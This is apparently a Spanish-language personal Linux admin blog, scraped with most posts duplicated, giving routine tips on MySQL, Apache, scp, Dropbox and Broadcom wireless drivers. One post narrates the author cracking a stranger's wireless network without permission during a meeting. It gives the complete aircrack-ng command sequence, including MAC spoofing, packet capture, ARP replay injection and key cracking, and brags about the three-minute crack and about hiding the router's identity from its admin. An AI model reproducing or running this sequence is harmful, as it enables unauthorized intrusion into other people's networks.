un tip rapido pero a la vez muy util, reseteando la clave de un usuario de mysql:
1. mysql -u usuario -p
y te pide el password que estas usando en tu cuenta de administracion
2. UPDATE mysql.user SET Password=PASSWORD('minuevopass') WHERE User='usuario';
3. flush privileges;
4. quit;
5. desde la consola: sudo /etc/init.d/mysql restart
y luego lo probas y listo
viernes, 23 de diciembre de 2011
jueves, 22 de diciembre de 2011
alzheimer desplegar los users desde la consola
ayer tuve un encuentro con el aleman y me tomo como 30 minutos recordar a donde esta la lista de usuarios y como verla desde la consola, pues aca esta:
1. cat /etc/passwd
2. si quiero desplegar solo los que tienen directorio en /home:
cat /etc/passwd | grep /home |cut -d: -f1
bendito Dios por la buena practica de documentar!
bendiciones
1. cat /etc/passwd
2. si quiero desplegar solo los que tienen directorio en /home:
cat /etc/passwd | grep /home |cut -d: -f1
bendito Dios por la buena practica de documentar!
bendiciones
sticky note: redireccionar hacia cups
puesto que siempre se me olvida el puerto de cups, aca un tip corto para hacer un url mas "user friendly", por ejemplo algo asi: http://localhost/misimpresores
1. nano /etc/apache2/apache2.conf
2. Agregas la linea /misimpresores http://localhost:631
3. sudo /etc/init.d/apache2 restart
4. probas en tu navegador y listo
saludos y bendiciones
1. nano /etc/apache2/apache2.conf
2. Agregas la linea /misimpresores http://localhost:631
3. sudo /etc/init.d/apache2 restart
4. probas en tu navegador y listo
saludos y bendiciones
copiar archivos entre el remote y local host
Back again!, bueno las explicaciones para despues, ahorita vamos a la salsa porque hay varias cosas importantes que hay que ir documentando.
Este howto es para copiar archivos entre el remote host -que generalmente tiene que ser el server- y el local:
1. scp -v /directorio/archivo usuario@ip:/directorio
me parece muy util usar el modificador verbose porque si tenes algun problema -que generalmente pueden ser permisos de usuarios- pues ahi lo sabemos de primera mano.
luego para verificar si esta ya los archivos pues te logeas en el remote-host, algo asi:
ssh usuario@host
y despues le haces un ls
muchos saludos y que la gloria y honra sea siempre para Dios por la misericordia de regresar.
bendiciones
Este howto es para copiar archivos entre el remote host -que generalmente tiene que ser el server- y el local:
1. scp -v /directorio/archivo usuario@ip:/directorio
me parece muy util usar el modificador verbose porque si tenes algun problema -que generalmente pueden ser permisos de usuarios- pues ahi lo sabemos de primera mano.
luego para verificar si esta ya los archivos pues te logeas en el remote-host, algo asi:
ssh usuario@host
y despues le haces un ls
muchos saludos y que la gloria y honra sea siempre para Dios por la misericordia de regresar.
bendiciones
jueves, 26 de mayo de 2011
Instalando el repo para dropbox en ubuntu karmic
Quick post!, para los que -aun- no tenemos un sftp para los usuarios externos aca van algunas lineas para instalar dropbox en karmic:
1. abri una consola
2. sudo sh -c "echo 'deb http://linux.dropbox.com/ubuntu karmic main' >> /etc/apt/sources.list"
3. sudo apt-key adv --keyserver pgp.mit.edu --recv-keys 5044912E
4. sudo apt-get update
5. sudo apt-get install nautilus-dropbox
un consejito adicional, de preferencia cerra todas las instancias de nautilus antes de hacer esto, no da error ni nada pero recorda que se actualiza nautilus asi que bueno es mejor creo yo.
happy coding!!
1. abri una consola
2. sudo sh -c "echo 'deb http://linux.dropbox.com/ubuntu karmic main' >> /etc/apt/sources.list"
3. sudo apt-key adv --keyserver pgp.mit.edu --recv-keys 5044912E
4. sudo apt-get update
5. sudo apt-get install nautilus-dropbox
un consejito adicional, de preferencia cerra todas las instancias de nautilus antes de hacer esto, no da error ni nada pero recorda que se actualiza nautilus asi que bueno es mejor creo yo.
happy coding!!
viernes, 18 de marzo de 2011
Hacking morning and... fastball
Uff!!, hace tanto que no me daba una vuelta por aca, me da un poco de pena, pero bueno, laboralmente Dios ha dado un giro bien grande desde diciembre 2010 a la fecha, tengo mucho mas responsabilidades y estamos cocinando una verdadera "revolucion" en cuanto a las TIC's en donde trabajo,
pero bueno, eso fue la parte aburrida y la menos importante, hoy voy a postear mi primer hackeo en vivo, en directo, asi que aca estan los detalles:
1. la necesidad es la madre de la invencion: estoy en una reunion super aburrida y debo hacer varias cosas: necesito desarrollar un sistema de informacion para el proximo lunes, voy a usar LAPP asi que bueno tengo menos de 72 horas asi tambien tenia un monton de ganas de enviarle un mail a mi esposa -el amor, el amor- entonces necesito una conexion a internet de manera urgente y no... no, ME NIEGO A TIRAR MI DINERO EN UN modem 3G, absolutely no!!!
2. entonces me dije, en este lugar debe haber por lo menos un router wireless, asi que fui a Wicd y listo, aparecen como 5 routers, listo.... a hackear pues
3. en mi equipo tengo una Broadcomm BCM4312, desde noviembre le instale el BCM43xx pero con tanta onda no habia podido probarlo, hoy es un buen dia.
4. aca van los comandos (perdon por el resumen):
- sudo airmong-ng start wlan1
-sudo ifconfig mon0 down
-sudo macchanger .m 00:11:22:33:44:55 mon0
-sudo ifconfig wlan1 up
-sudo airodump-ng mon0 (aca escogi el BSSID del router que tengo mejor señal, lo llamaremos "charly-brown" porque no queremos aletar al admin de red, quien quita y un dia se de una vuelta por este blog)
-sudo airodump-ng -c 3 -w charly-brown --bssid aa:bb:cc:dd:ee:ff mon0
-sudo aireplay-ng -1 6000 -a aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0
-sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0
-sudo aircrack-ng charly-brown-01-cap
5. voila!! la clave fue crackeada como en 3 minutos y listo, la ponemos en el wicd y ya, online
6. perdon por el resumen, de hecho, este procesillo necesita ser detallado, prometo hacer algo mas grafico... en el futuro!
7. aca dejo una imagen con la evidencia, happy coding!!!
pero bueno, eso fue la parte aburrida y la menos importante, hoy voy a postear mi primer hackeo en vivo, en directo, asi que aca estan los detalles:
1. la necesidad es la madre de la invencion: estoy en una reunion super aburrida y debo hacer varias cosas: necesito desarrollar un sistema de informacion para el proximo lunes, voy a usar LAPP asi que bueno tengo menos de 72 horas asi tambien tenia un monton de ganas de enviarle un mail a mi esposa -el amor, el amor- entonces necesito una conexion a internet de manera urgente y no... no, ME NIEGO A TIRAR MI DINERO EN UN modem 3G, absolutely no!!!
2. entonces me dije, en este lugar debe haber por lo menos un router wireless, asi que fui a Wicd y listo, aparecen como 5 routers, listo.... a hackear pues
3. en mi equipo tengo una Broadcomm BCM4312, desde noviembre le instale el BCM43xx pero con tanta onda no habia podido probarlo, hoy es un buen dia.
4. aca van los comandos (perdon por el resumen):
- sudo airmong-ng start wlan1
-sudo ifconfig mon0 down
-sudo macchanger .m 00:11:22:33:44:55 mon0
-sudo ifconfig wlan1 up
-sudo airodump-ng mon0 (aca escogi el BSSID del router que tengo mejor señal, lo llamaremos "charly-brown" porque no queremos aletar al admin de red, quien quita y un dia se de una vuelta por este blog)
-sudo airodump-ng -c 3 -w charly-brown --bssid aa:bb:cc:dd:ee:ff mon0
-sudo aireplay-ng -1 6000 -a aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0
-sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0
-sudo aircrack-ng charly-brown-01-cap
5. voila!! la clave fue crackeada como en 3 minutos y listo, la ponemos en el wicd y ya, online
6. perdon por el resumen, de hecho, este procesillo necesita ser detallado, prometo hacer algo mas grafico... en el futuro!
7. aca dejo una imagen con la evidencia, happy coding!!!
lunes, 6 de diciembre de 2010
instalacion y config del modulo b43 en Debian y Ubuntu para una Broadcom 14e4:4315
Pues si, este POST me ha tomado mucho tiempo, por las siguienes razones:
1. pocos recursos en la web al respecto
2. el tremendo rollo de los hardware con modulos privativos con el open-source
3. la enorme gama de formas de instalacion de wireless broadcom con gnu/linux
4. el modulo de los repos - wl- realmente sirve para muy poco - if you know what I' talking about ;-)
pero bueno, finalmente aca esta el howto:
1. no hay una unica forma de hacer esto para todas las wireless broadcom!!!! asi que no pierdan el tiempo siguiendo howtos genericos
2. Desplegar la version de tu chipset:
$ lspci -vvnn | grep 14e4
02:00.0 0280: 14e4:4315 (rev 01)
3. desplegar info detallada de todas las NIC's de mi box:
# lshw -C network
*-network
description: Network controller
product: BCM4312 802.11b/g
vendor: Broadcom Corporation
physical id: 0
bus info: pci@0000:02:00.0
version: 01
width: 64 bits
clock: 33MHz
capabilities: bus_master cap_list
configuration: driver=wl0 latency=0 module=wl
*-network
description: Ethernet interface
product: RTL8101E/RTL8102E PCI Express Fast Ethernet controller
vendor: Realtek Semiconductor Co., Ltd.
physical id: 0
bus info: pci@0000:08:00.0
logical name: eth0
version: 02
serial: 00:21:cc:39:4f:33
width: 64 bits
clock: 33MHz
capabilities: bus_master cap_list ethernet physical
configuration: broadcast=yes driver=r8169 driverversion=2.3LK-NAPI latency=0 module=r8169 multicast=yes
*-network:0 DISABLED
description: Ethernet interface
physical id: 1
logical name: vboxnet0
serial: 0a:00:27:00:00:00
capabilities: ethernet physical
configuration: broadcast=yes multicast=yes
*-network:1
description: Wireless interface
physical id: 2
logical name: wlan0
serial: 00:24:2c:74:37:7a
capabilities: ethernet physical wireless
configuration: broadcast=yes driver=wl driverversion=2.6.34.7-htamayo firmware=N/A ip=xxx.xxx.xxx.xxx multicast=yes wireless=IEEE 802.11bg
como podes ver, lo que nos interesa es el dispositivo wlan0, que usa el driver wl, igual en tu sistema puede llamarse ethx.
4. Ponemos en blacklist el driver wl:
# echo "blacklist wl" >> /etc/modprobe.d/blacklist.conf
5. Actualiza el kernel, por lo menos a la version 2.6.34.xx, como tendras que compilarlo vos mismo este POST puede servirte.
6. instalar b43:
#apt-get install b43-fwcutter
7. configurar algunas opciones para rendimiento:
#touch /etc/modprobe.d/b43.conf echo >> "options b43 pio=1 qos=0" | tee -a /etc/modprobe.d/b43.conf
8. levantemos el modulo:
# rmmod b43
# modprobe b43 pio=1 qos=0
A estas alturas, ya tu tarjeta ya wireless ya debe estar habilitada, por lo menos en Debian Lenny asi fue.
9. troubleshooting solo para Ubuntu 10-04
verifiquemos si tu tarjeta esta habilitada:
$ sudo iwconfig wlan0 up
SIOCSIFFLAGS: Unknown error 132
para corregir esto haces:
$ sudo rfkill unblock all
listo, ahora ya ningun proceso esta bloqueando tu wireless, asi que proba conectarte a un access point y a utilizar todo el poder del b43
happy coding!!!
1. pocos recursos en la web al respecto
2. el tremendo rollo de los hardware con modulos privativos con el open-source
3. la enorme gama de formas de instalacion de wireless broadcom con gnu/linux
4. el modulo de los repos - wl- realmente sirve para muy poco - if you know what I' talking about ;-)
pero bueno, finalmente aca esta el howto:
1. no hay una unica forma de hacer esto para todas las wireless broadcom!!!! asi que no pierdan el tiempo siguiendo howtos genericos
2. Desplegar la version de tu chipset:
$ lspci -vvnn | grep 14e4
02:00.0 0280: 14e4:4315 (rev 01)
3. desplegar info detallada de todas las NIC's de mi box:
# lshw -C network
*-network
description: Network controller
product: BCM4312 802.11b/g
vendor: Broadcom Corporation
physical id: 0
bus info: pci@0000:02:00.0
version: 01
width: 64 bits
clock: 33MHz
capabilities: bus_master cap_list
configuration: driver=wl0 latency=0 module=wl
*-network
description: Ethernet interface
product: RTL8101E/RTL8102E PCI Express Fast Ethernet controller
vendor: Realtek Semiconductor Co., Ltd.
physical id: 0
bus info: pci@0000:08:00.0
logical name: eth0
version: 02
serial: 00:21:cc:39:4f:33
width: 64 bits
clock: 33MHz
capabilities: bus_master cap_list ethernet physical
configuration: broadcast=yes driver=r8169 driverversion=2.3LK-NAPI latency=0 module=r8169 multicast=yes
*-network:0 DISABLED
description: Ethernet interface
physical id: 1
logical name: vboxnet0
serial: 0a:00:27:00:00:00
capabilities: ethernet physical
configuration: broadcast=yes multicast=yes
*-network:1
description: Wireless interface
physical id: 2
logical name: wlan0
serial: 00:24:2c:74:37:7a
capabilities: ethernet physical wireless
configuration: broadcast=yes driver=wl driverversion=2.6.34.7-htamayo firmware=N/A ip=xxx.xxx.xxx.xxx multicast=yes wireless=IEEE 802.11bg
como podes ver, lo que nos interesa es el dispositivo wlan0, que usa el driver wl, igual en tu sistema puede llamarse ethx.
4. Ponemos en blacklist el driver wl:
# echo "blacklist wl" >> /etc/modprobe.d/blacklist.conf
5. Actualiza el kernel, por lo menos a la version 2.6.34.xx, como tendras que compilarlo vos mismo este POST puede servirte.
6. instalar b43:
#apt-get install b43-fwcutter
7. configurar algunas opciones para rendimiento:
#touch /etc/modprobe.d/b43.conf echo >> "options b43 pio=1 qos=0" | tee -a /etc/modprobe.d/b43.conf
8. levantemos el modulo:
# rmmod b43
# modprobe b43 pio=1 qos=0
A estas alturas, ya tu tarjeta ya wireless ya debe estar habilitada, por lo menos en Debian Lenny asi fue.
9. troubleshooting solo para Ubuntu 10-04
verifiquemos si tu tarjeta esta habilitada:
$ sudo iwconfig wlan0 up
SIOCSIFFLAGS: Unknown error 132
para corregir esto haces:
$ sudo rfkill unblock all
listo, ahora ya ningun proceso esta bloqueando tu wireless, asi que proba conectarte a un access point y a utilizar todo el poder del b43
happy coding!!!
Suscribirse a:
Entradas (Atom)